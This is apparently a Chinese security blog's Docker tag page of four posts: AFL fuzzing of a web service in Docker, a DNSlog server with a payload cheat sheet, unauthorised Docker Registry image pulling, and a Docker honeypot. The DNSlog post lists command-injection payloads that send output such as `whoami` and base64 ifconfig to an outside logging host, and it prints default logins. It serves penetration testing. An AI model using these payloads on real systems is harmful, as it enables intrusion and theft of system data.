标签 docker 下的文章

碎碎念之Afl-fuzz Docker实践

开篇

好久没有更新东西了,写一篇水文压压惊吧。这篇文章主要记录一点之前鼓捣Afl-fuzz的笔记,涉及的知识不深,看官们别见笑。作为程序猿周围的安全工程师,我们负责着产品线的测试。这有靠经验来做的黑盒测试,也有靠自己反编译安装包,鼓捣设备得到部会源码的进行灰盒测试,也开始引进Fuzz模糊测试-这就靠下面要说的Afl-fuzz来实现。因为众所周知的问题(搞安全的人在公司地位低),我们没有产品的代码级权限,我们用Afl-fuzz也就当黑盒一样的在玩,下面会解释到。开始吧。。少侠们。。。

初见Afl-fuzz

了解Afl-fuzz之前我们先了解一下什么是模糊测试,定义:模糊测试是一种通过自动或半自动的生成随机数据输入到一个程序中,并监视程序异常,以发现可能的安全漏洞的技术。Fuzzing技术是当前鉴别软件安全问题方面最强大测试技术, American Fuzzy Lop (简称:Afl-fuzz)是一个优秀的模糊测试工具。使用Afl-fuzz 在有源码条件下可以使用afl-gcc 或者 afl-clang-fast 编译源码,afl在编译的时候完成插桩,如果无源码条件下可以使用qemu模式进行插桩. 对于Fuzzing网络程序,可以使用persistent模式进行测试,我鼓捣的就是使用persistent模式进行Fuzzing。

服务器环境:Ubuntu14.04 4核心 8G内存
我的目的:我们用Afl-fuzz的目的很简单,实现快速的对多个样本同时进行Fuzzing。

关于Afl-fuzz的基础用法,有很多前辈写了,可以搜索一波自行学习,这里使用的是while (__AFL_LOOP(1000))写法即persistent模式,使用afl-clang-fast++编译c写的sender, 用于从文件读取Afl变异产生的payload,发起HTTP请求包,简单的可以参考@小葵师傅的https://www.jianshu.com/p/82c361c7d439

简单来说,使用persistent模式运行Afl-fuzz,需要准备这几个东西:

  1. seed 输入样本
  2. out 指定输出目录
  3. sender afl-clang-fast++编译的可执行程序
  4. case.txt 完整的请求包

过程就是: Afl-fuzz工具执行sender, 读取case.txt的基础请求包,使用基于seed进行变形产生的数据替换请求包中标记的位置,这样构造的新的请求包,再发给服务器。

我弄了一个shell脚本,方便我快速编译和运行Afl-fuzz对样本进行Fuzzing.脚本如下:

AFL-分布式模式尝试之shell脚本:

riversec@box:~/test/test/test_shell$ cat run_aflfuzz 
#./run_aflfuzz fuzz_cross_site_uri 5
cd $1
afl-clang-fast++ sender.c -o sender
screen -AmdS MasterFuzz_$1 bash
screen -S MasterFuzz_$1 -X screen afl-fuzz -M master -i seed/ -o out/ ./sender request.txt
for (( i=3; i<$(($2+3)); i++ ))
  do
   screen -AmdS ClusterFuzz$(($i-2))$1 bash
   screen -S ClusterFuzz$(($i-2))$1 -X screen afl-fuzz -S Cluster$(($i-2))$1 -i seed/ -o out/ ./sender request.txt
 done
screen -ls
echo "start over..."

上面的shell实现了afl-clang-fast++编译sender,用了screen管理挂起任务,使用AFL的 Master/Cluster模式进行分布式Fuzzing. 调用命令如下:

./run_aflfuzz fuzz_cross_site_uri 5
  • fuzz_cross_site_uri 是screen会话TAG,方便区分节点
  • request.txt 是burp抓的完整的HTTP请求包
  • seed 是输入,即从HTTP请包中,需要模糊测试的点,提取的值作为变异种子
  • out是输出,AFL的状态信息,输出文件保留在此
  • 数字5 是创建5个节点

虽然上面只对同一个样本进行Fuzzing, 但是实现了分布式Fuzzing,哪么是不是我只需要多执行几次run_aflfuzz命令,再对其他对样本进行测试,就能实现我想要的目的呢?

结果动手了才会发现,事情并不是那么简单。。。

遇到了什么问题?

发现问题1:CPU 核心限制了同时Fuzzing的样本数

因为平时工作时需要测试各种功能,就会有很多种类型的请求包需要进行Fuzzing,我们在同一台机器上想跑多个样本时,总会有遇到如下的提示:

201808231535036581290334.png

使用过Afl-fuzz的同学可能会很熟悉,这都是穷惹的祸啊。。4核心难道就只能跑4个样本了吗??

发现问题2:手动抓样本,制作seed,标记Fuzzing位置

目前条件下,每当我要Fuzzing一个样本,我需要重复做几件事:

  1. burp抓取HTTP包
  2. 使用$替换要Fuzzing的位置,比如tid=888,标记为tid=$
  3. 将888作为seed
  4. 使用afl-fuzz命令开启Fuzzing.

每一个样本都需要做这些操作,虽然没有几步,但是让人很不耐烦。。

一步一步实现

遇到上面的问题后,就开始思索怎么解决。首先解决第一个CPU核心数限制问题,我这里首先想到使用docker虚拟化技术来做,经过验证后发现是可行的。

下面具体说说如何实现。

1.安装docker

第一步安装docker,安装过程这里就不说了。

2.搜索images

搜索仓库里是否有前辈做好的afl的images,直接拿来使用。

docker search afl

搜出来的第一个,就可以直接拿来用,我用的就是这个。如图所示:

201808241535091650456788.png

pull下来做一些自己的定制化后,再docker commint 创建一个自己的新images.

3.创建container

创建容器就很讲究了,我们想要的是用docker来跑多个Fuzzing任务,我们不仅要让他跑起来,还得为后面查看其状态,了解任务信息做准备。Afl-fuzz运行起来后,会将状态信息实时更新在out目录下的文件里。

为了了解任务状态,宿主机就需要能够实时访问到这些记录任务状态的文件,我们就需要通过文件共享来,访问宿主机查看这些文件,所以创建命令如下:

docker run -td --privileged -v /var/docker_afl/share/case1:/case --name "fuzz_node1" -h "fuzz_node1" moflow/afl-tools /bin/bash

宿主机的/var/docker_afl/share/目录下创建case1文件,对应容器的/case目录如下截图:

201808241535093063259488.png

上图的case.txt,是一个准备好之后,创建的节点,里面包括了如下:case.txt文件:完整的HTTP包,out是输出目录,seed是输入目录,sender是用afl-clang-fast++编译的persistent模式写的发包程序,tool.py是写的辅助自动程序后面会说到。

4.准备数据

准备Afl-fuzz程序运行需要的数据,先Burp抓一请求包如下:

POST /ajax/login/backend/?b0QHe3bMd9fNm57=$$$K17GUKsYaGNxIHiFehHlOhNfyy_B9944oJJ8DW_2tsQgytxlxiHVKrGP362pXExTBoA0VwdqYDkheIat1EeiQymXPjk6ZNRPTkjyIo2W63tdF$$$ HTTP/1.1
Host: 10.10.66.132
Content-Length: 25
Accept: */*
Origin: http://10.10.66.132
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://10.10.66.132/ajax/login/
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: csrftoken=fVYWMCFUG6gW4ONjm48179CsKAiamipA; send_log_path=%2Ftmp%2Flog%2Fnew%2Faccess.log.1; FSSBBIl2UgzbN7NCSRF=qDWzcpd3KP1mAw5r0gbsg06pu4TSyuYU; b0QHe3bMd9fNm57=K17GUKsYaGNxIHiFehHlOhNfyy_B9944oJJ8DW_2tsQgytxlxiHVKrGP362pXExTBoA0VwdqYDkheIat1EeiQymXPjk6ZNRPTkjyIo2W63tdF
Connection: close
username=1e&password=1212

这个请求包就是我们需要进行Fuzzing的case1,上面里我使用了$$$来标记需要Fuzz的点(和Sqlmap的引导注入相似)。标记后,其中的原始的参数:

K17GUKsYaGNxIHiFehHlOhNfyy_B9944oJJ8DW_2tsQgytxlxiHVKrGP362pXExTBoA0VwdqYDkheIat1EeiQymXPjk6ZNRPTkjyIo2W63tdF

应当作为seed做样本变异使用,Afl-fuzz工具根据其内部的变异算法产生新的值,然后替换这个,进行发包测试。编写一个辅助脚本tool.py帮助完成,提取标记的值,保存seed的工作,脚本实现如下:

import re
import sys
import os

def alter(inf, ouf):
    with open(inf, "r") as f1, open("%s.bak" % inf, "w") as f2:
        for line in f1:
            flg = re.findall('\$\$\$.+\$\$\$',line)
            if len(flg)>0 and len(flg[0])>1:
                flag = flg[0]
                print "[*] Found:\n\t", flag
                print "[*] seed: ", os.getcwd() + os.sep + "seed"
                with open(ouf, "w") as of:
                    of.write(flag.replace("$$$", ""))
                f2.write(line.replace(flg[0],'$'))
            else:
                f2.write(line)
    os.rename("%s.bak" % inf, inf)
print "[*] run checking...."
alter(sys.argv[1], sys.argv[2])
print "[*] run over...."

上面准备好后,编写sender.c,这个程序实现几个操作 1. 加载case.txt内容 2. 从输入流读取数据替换$case.txt标记的位置即:将Afl产生的变异数据结合成新的请求包,然后使用socket发送给Server.

部分代码如下:

while (__AFL_LOOP(1000)) { 
        memset(copy_file, 0, sizeof(copy_file));
               memcpy(copy_file,request.data(),numread);
                per_req.assign( copy_file );
            memset(target, 0, sizeof(target));
        read( STDIN_FILENO, target, 10240 );
        TrimSpace(target);
        per_req.replace(per_req.find("$"),1,target); 

               // printf( "%s\r\n", per_req.data() );
                
        sockfd                = socket( AF_INET, SOCK_STREAM, 0 );
        dest_addr.sin_family        = AF_INET;
        dest_addr.sin_port        = htons( destport );
        dest_addr.sin_addr.s_addr    = inet_addr( "10.10.66.138" );
        memset( &dest_addr.sin_zero, 0, 8 );


        connect( sockfd, (struct sockaddr *) &dest_addr, sizeof(struct sockaddr) );
        send( sockfd, per_req.data(), strlen( per_req.data() ), 0 );
        //recv( sockfd, buffer, 1024, 0 );
        //printf( "%s", buffer );
        close( sockfd );
    }

地址10.10.66.138就是被Fuzz的服务器地址。

5.初始化Afl-fuzz环境

上面的准备工作做好后,我们现在就可以在宿主机上完成容器里的Afl-fuzz程序运行的准备了。

  • 拷贝case,sender到,tool.py容器里
cp /var/docker_afl/cases/request.txt /var/docker_afl/share/node1/case.txt
cp /var/docker_afl/share/sender.c /var/docker_afl/share/node1/sender.c
cp /var/docker_afl/share/tool.py /var/docker_afl/share/node1/tool.py

这里的node1文件夹对应容器node1的/case目录。将必要的文件拷贝进去。

手动启用节点:(首次默认启用)

docker start fuzz_node1
  • 处理case为sender能处理的格式

在docker里执行命令完成创建环境,执行tool.py辅助脚本,完成提取$$$标记的值做为seed输入值. 创建seed目录

docker exec -it fuzz_node2 bash -c 'python /case/tool.py /case/case.txt /case/1'
docker exec -it fuzz_node2 bash -c 'mkdir /case/seed'
docker exec -it fuzz_node2 bash -c 'mv /case/1 /case/seed/1'

6.开始Fuzzing

现在准备好了环境后我们可以进入到容器开始跑Fuzzing了,有两种方式运行,第一种是进入到容器里,另外一种就是通过bash -c执行命令,让其内部运行起来。如:

docker exec -it $1 bash -c 'afl-fuzz -M master -i /case/seed/ -o /case/out/ /case/sender /case/case.txt'

实践中发现Afl-fuzz的需要保持在终端打开下,上面的方式都不是很妥当,这还得借助screen来实现。实践证明是可行的,命令如下:

screen -AmdS node1 bash
screen -S node1 -X screen docker exec -it fuzz_node1 bash -c 'afl-fuzz -M master -i /case/seed/ -o /case/out/ /case/sender /case/case.txt'

这两条命令执行以后,背后的Afl-fuzz就开始在工作了,可以使用screen -r node1切换进去,就可以看到亲切的Afl-fuzz的界面了。

201808241535098560494608.png

7.写一个shell吧

偷个懒,写一个shell吧,取名就叫:create.sh,内容如下:

docker run -td --privileged -v /var/docker_afl/share/$1:/case --name "$1" -h "$1" komi/afl-fuzz-v2.0 /bin/bash

cp /var/docker_afl/cases/request.txt /var/docker_afl/share/$1/case.txt
cp /var/docker_afl/share/sender.c /var/docker_afl/share/$1/sender.c
cp /var/docker_afl/share/tool.py /var/docker_afl/share/$1/tool.py

docker exec -it $1 bash -c 'python /case/tool.py /case/case.txt /case/1'
docker exec -it $1 bash -c 'mkdir /case/seed'
docker exec -it $1 bash -c 'mv /case/1 /case/seed/1'
docker exec -it $1 bash -c 'afl-clang-fast++ /case/sender.c -o /case/sender'

screen -AmdS $1 bash

效果如下:

201808241535098509748627.png

到这里,一个请求包的FUZZ工作就已经开始了,这是利用AFL生成大量的样本,发起网络请求的黑盒的FUZZ。

8.查看状态

如何查看FUZZ任务状态?文件夹/var/docker_afl/share下的node*, 表示一个独立的Fuzz任务。比如下面存在node0、node1、node2、node3、node9任务。

201808241535101012719458.png

AFL的FUZZ任务状态可以通过查看文件而知,

比如:

我们想要查看刚创建的node1任务的进度信息,需要切换到/var/docker_afl/share/node1/out/master路径,打开fuzzer_stats文件如下:

我们关注测试的速度,1834.11次/s,这表示基于标记的

201808241535101044432478.png

其他:

  1. 查看当前任务的seed

    cat /var/docker_afl/share/node1/seed/1

  2. 查看当前任务的请求case

    cat /var/docker_afl/share/node1/case.txt

  3. 查看AFL运行信息

    screen -r node1

201808241535101415242588.png

  1. 查看138的网络请求

命令:sudo tcpdump -s 1024 -l -A -n -i eth0 src 10.10.66.131

可以确认AFL正在工作...

201808241535101448357785.png

后记

暂无

参考

DnsLog的改造和自动化调用

0x01 DNSlog的改造

一切为了自动化,想要在各种远程命令执行的poc中顺利使用DNSlog,对它进行了改造,新增了三个API接口:

http://127.0.0.1:8000/apilogin/{username}/{password}/
#http://127.0.0.1:8000/apilogin/test/123456/
#登陆以获取token

http://127.0.0.1:8000/apiquery/{logtype}/{subdomain}/{token}/
#http://127.0.0.1:8000/apiquery/dns/test/a2f78f403d7b8b92ca3486bb4dc0e498/
#查询特定域名的某类型记录

http://127.0.0.1:8000/apidel/{logtype}/{udomain}/{token}/
#http://127.0.0.1:8000/apidel/dns/test/a2f78f403d7b8b92ca3486bb4dc0e498/
#删除特定域名的某类型记录

改造后的项目地址:https://github.com/bit4woo/DNSLog

0x02 本地接口类

服务端OK了之后,为了在PoC中快速调用,也在本地实现了一个类:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import hashlib
import time
import requests
import json

class DNSlog():
    def __init__(self,subdomain=None):
        if subdomain == None:
            self.subdomain = hashlib.md5(time.time()).hexdigest()
        else:
            self.subdomain = subdomain
        self.user_host = "test.code2sec.com"
        #self.user_host = "127.0.0.1:8000"
        self.api_host = "admin.code2sec.com"
        #self.api_host = "127.0.0.1:8000"
        self.token = ""
        self.username= "test"
        self.password = "123456"
        self.login()

    def gen_payload_domain(self):
        domain = "{0}.{1}".format(self.subdomain, self.user_host)
        return domain

    def gen_payload(self):
        domain ="{0}.{1}".format(self.subdomain,self.user_host)
        poc = "ping -n 3 {0} || ping -c 3 {1}".format(domain, domain)
        return poc

    def login(self,username=None,password=None):
        if username == None:
            username = self.username
        if password == None:
            password = self.password
        url = "http://{0}/apilogin/{1}/{2}/".format(self.api_host,username,password)
        print("DNSlog Login: {0}".format(url))
        response = requests.get(url, timeout=60, verify=False, allow_redirects=False)
        if response.status_code ==200:
            token = json.loads(response.content)["token"]
            self.token = token
            return True
        else:
            print("DNSlog login failed!")
            return False

    def query(self,subdomain,type="dns",token=None,delay=2):
        time.sleep(delay)
        if token ==None and self.token != "":
            token = self.token
        else:
            print("Invalid Token!")
            return False
        if type.lower() in ["dns","web"]:
            pass
        else:
            print("error type")
            return False
        url = "http://{0}/apiquery/{1}/{2}/{3}/".format(self.api_host,type,subdomain,token)
        print("DNSlog Query: {0}".format(url))
        try:
            rep = requests.get(url, timeout=60, verify=False, allow_redirects=False)
            return json.loads(rep.content)["status"]
        except Exception as e:
            return False

    def delete(self, subdomain,type="dns", token =None):
        if token ==None and self.token != "":
            token = self.token
        else:
            print("Invalid Token!")
            return False
        if type.lower() in ["dns","web"]:
            pass
        else:
            print("error type")
            return False
        url = "http://{0}/apidel/{1}/{2}/{3}/".format(self.api_host, type, subdomain, token)
        print("DNSlog Delete: {0}".format(url))
        try:
            rep = requests.get(url, timeout=60, verify=False, allow_redirects=False)
            return json.loads(rep.content)["status"]
        except Exception as e:
            return False


if __name__ == "__main__":
    x = DNSlog("xxxx")
    x.login("test","123456")
    x.query("dns","123",x.token)
    x.delete("dns","123",x.token)

调用流程:

  1. 首先实例化DNSlog类,如果有传入一个字符串,这个字符串将被当作子域名,如果没有将生成一个随机的
  2. 调用gen_payload_domain()或者gen_payload()来返回域名或者"ping -n 3 {0} || ping
    -c 3 {1}"格式的payload
  3. 调用login()接口实现登陆,然后获取token,如果有传入账号和密码,将使用传入的,否则使用默认的
  4. 在使用生成的域名或者payload进行检测之前,建议先调用delete()来清除域名相关记录,避免误报
  5. PoC中使用payload进行请求
  6. 使用query()检查DNSlog是否收到该域名的相关请求,有则认为命令执行成功漏洞存在,否则任务不存在。

0x03 使用Docker搭建DnsLog服务器

感谢草粉师傅的帮助

域名和配置

搭建并使用 DNSLog,需要拥有两个域名:

1.一个作为 NS 服务器域名(例:polaris-lab.com):在其中设置两条 A 记录指向我们的公网 IP 地址(无需修改DNS服务器,使用运营商默认的就可以了):

ns1.polaris-lab.com  A 记录指向  10.11.12.13
ns2.polaris-lab.com  A 记录指向  10.11.12.13

2.一个用于记录域名(例: code2sec.com):修改 code2sec.com 的 NS 记录为 1 中设定的两个域名(无需修改DNS服务器,使用运营商默认的就可以了):

NS  *.code2sec.com   ns1.polaris-lab.com
NS  *.code2sec.com   ns2.polaris-lab.com

注意:按照dnslog的说明是修改NS记录,但是自己的部署中修改了好几天之后仍然不正常,就转为修改DNS服务器,而后成功了。修改DNS服务器之后就无需在域名管理页面设置任何DNS记录了,因为这部分是在DNSlog的python代码中实现的。

changeNameServer.png

Docker镜像构造

Dockerfile内容如下:

FROM ubuntu:14.04

RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list

RUN apt-get update -y && apt-get install -y python && apt-get install python-pip -y && apt-get install git -y
RUN git clone https://github.com/bit4woo/DNSLog
WORKDIR /DNSLog/dnslog
RUN pip install -r requirements.pip

COPY ./settings.py /DNSLog/dnslog/dnslog/settings.py

COPY ./start.sh /DNSLog/dnslog/start.sh
RUN chmod +x start.sh
CMD ["./start.sh"]

EXPOSE 80

下载 dnslog/dnslog/settings.py并对如下字段进行对应的修改,保存settings.py:

# 做 dns 记录的域名
DNS_DOMAIN = 'code2sec.com'

# 记录管理的域名, 这里前缀根据个人喜好来定
ADMIN_DOMAIN = 'admin.code2sec.com'

# NS域名
NS1_DOMAIN = 'ns1.polaris-lab.com'
NS2_DOMAIN = 'ns2.polaris-lab.com'

# 服务器外网地址
SERVER_IP = '10.11.12.13'

创建一个dnslog的启动脚本,保存为start.sh:

#!/bin/bash
python manage.py runserver 0.0.0.0:80

准备好如上3个文件后,可以构建镜像了

docker build .
docker tag e99c409f6585 bit4/dnslog
docker run -d -it -p 80:80 -p 53:53/udp bit4/dnslog
#注意这个53udp端口,感谢CF_HB师傅的指导

docker exec -it container_ID_or_name /bin/bash
./start.sh

配置验证

使用nslookup命令进行验证,如果可以直接测试xxx.test.code2sec.com了,说明所有配置已经全部生效;如果直接查询失败,而指定了dns服务器为 ns1.polsris-lab.com查询成功,说明dns服务器配置正确了,但是ns记录的设置需要等待同步或者配置错误。

nslookup
xxx.test.code2sec.com
server ns1.polaris-lab.com
yyy.test.code2sec.com

当然,在查询的同时可以登录网页端配合查看,是否收到请求。

在我自己的部署中,发现修改ns记录很久后仍然不能直接查询到 xxx.test.code2sec.com,想到NS记录配置和DNS服务器设置都是修改解析的域名的服务器配置,就尝试修改了DNS服务器为 ns1.polaris-lab.com, 结果就一切正常了。

管理网站

后台地址:http://code2sec.com/admin/ admin admin

用户地址:http://admin.code2sec.com/ test 123456

更多详细问题参考项目:https://github.com/BugScanTeam/DNSLog

记得修改默认的账号密码!

0x04 Payload使用技巧

||兼容windows和linux

ipconfig || ifconfig
#||是或逻辑, 如果第一个命令执行成功,将不会执行第二个;而如果第一个执行失败,将会执行第二个。

使用实例:
ping -n 3 xxx.test.code2sec.com || ping -c 3 xxx.test.code2sec.com

命令优先执行

%OS%
#windows的系统变量,用set命令可以查看所有可用的变量名称
`whomai` 
#linux下的命令优先执行,注意是反引号(`)这个字符一般在键盘的左上角,数字1的左边

测试效果如下:
root@ubuntu:~# echo `whoami`@bit4
root@bit4

E:\>echo %OS%@bit4
Windows_NT@bit4

使用实例:
curl "http://xxx.test.code2sec.com/?`whoami`"
ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.code2sec.com
#DNS记录中获取源IP地址

command_first.png

消除空格

id|base64

使用实例:
curl test.code2sec.com/`ifconfig|base64 -w 0` 
#-w 0 输出内容不换行,推荐这个方法
curl test.code2sec.com/`ifconfig|base64|tr '\n' '-'`
#将换行符替换为-,这个方法不是很方便,解密的时候还需要替换回来

base64.png

window下的curl

start http://xxxxxxxxx.test.code2sec.com
#该命令的作用是通过默认浏览器打开网站,缺点是会打开窗口

常用Payload汇总

#1.判断系统类型
ping `uname`.code2sec.com || ping %OS%.code2sec.com

#2.通用ping,dns类型payload
ping -n 3 xxx.code2sec.com || ping -c 3 xxx.code2sec.com

C:\Windows\System32\cmd.exe /c "ping -n 3 test.com || ping -c 3 test.com"
/bin/bash -c "ping -n 3 test.com || ping -c 3 test.com"

#3.从DNS记录中获取源IP地址
ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.code2sec.com

#4.获取命令结果
curl test.code2sec.com/`ifconfig|base64 -w 0`

Hacking Docker:Registry API 未授权访问

前言

docker pull HOST:PORT/IMAGE_NAME

image001.png

Exploit

环境

  • local.example.com (127.0.0.1)
  • port 30000

GET 请求/v1 /v2确认 Registry API 版本:

image003.png

确定版本后查看 repos 列表,/_catalog:

image005.png

例如 testrepo1,/REPO_NAME/tags/list查看标签:

image007.png

确定标签 (v1v2) 后使用/manifests/v2下载文件:

image009.png

使用终端下载文件v2//blobs/sha256:/:

https://localhost:30000/v2/testrepo1/blobs/sha256:4b981f68920b27d3a35992f3e0343acfc90f52dff050328f38d03f16ba984d34

image011.png

解压文件发现敏感信息:

image013.png

image015.png

自动化脚本:https://github.com/NotSoSecure/docker_fetch/

image017.png

脚本会将所有 gzip 压缩的 blob 保存在用户设定的目录中, 可以使用以下命令一次性解压:

for i in *.tar.gz; do tar -xzvf $i; done

网络空间调查

20170319171846.png

修复

  • 添加身份验证
  • 启用签名和验证
  • 使用 TLS

参考

Dionaea:基于Docker的蜜罐系统

项目主页

https://github.com/atiger77/Dionaea

简介

web_dionaea为企业内部web类蜜罐,用来捕捉APT,内鬼及被内鬼等入侵行为。项目使用Django编写,使用Docker运行方便部署。

注:项目前端部分由ID:chanyipiaomiao帮忙完成

部署方式

  1. 自定义蜜罐名称;修改/web_dionaea/templates/index.html中的对应title
  2. 制作蜜罐镜像;#docker build -t "web_dionaea" .
  3. 创建蜜罐容器;#docker run -d -p 80:80 -v /opt:/tmp --restart=always web_dionaea
  4. 添加计划任务;*/5 * * * * /bin/bash /opt/Check.sh

登录界面

web_dionaea_01.png

日志截图

web_dionaea_02.png

分析脚本执行结果

web_dionaea_03.png

注意事项

这个dockerfile我没有直接构建push到dockerhub,可以任意修改成自己想要的样子,Check.sh脚本默认是在centos7环境下执行,修改Dionaea_HostIP值可直接兼容其他环境。有问题与我联系:d2VjaGF0OmF0aWdlcjc3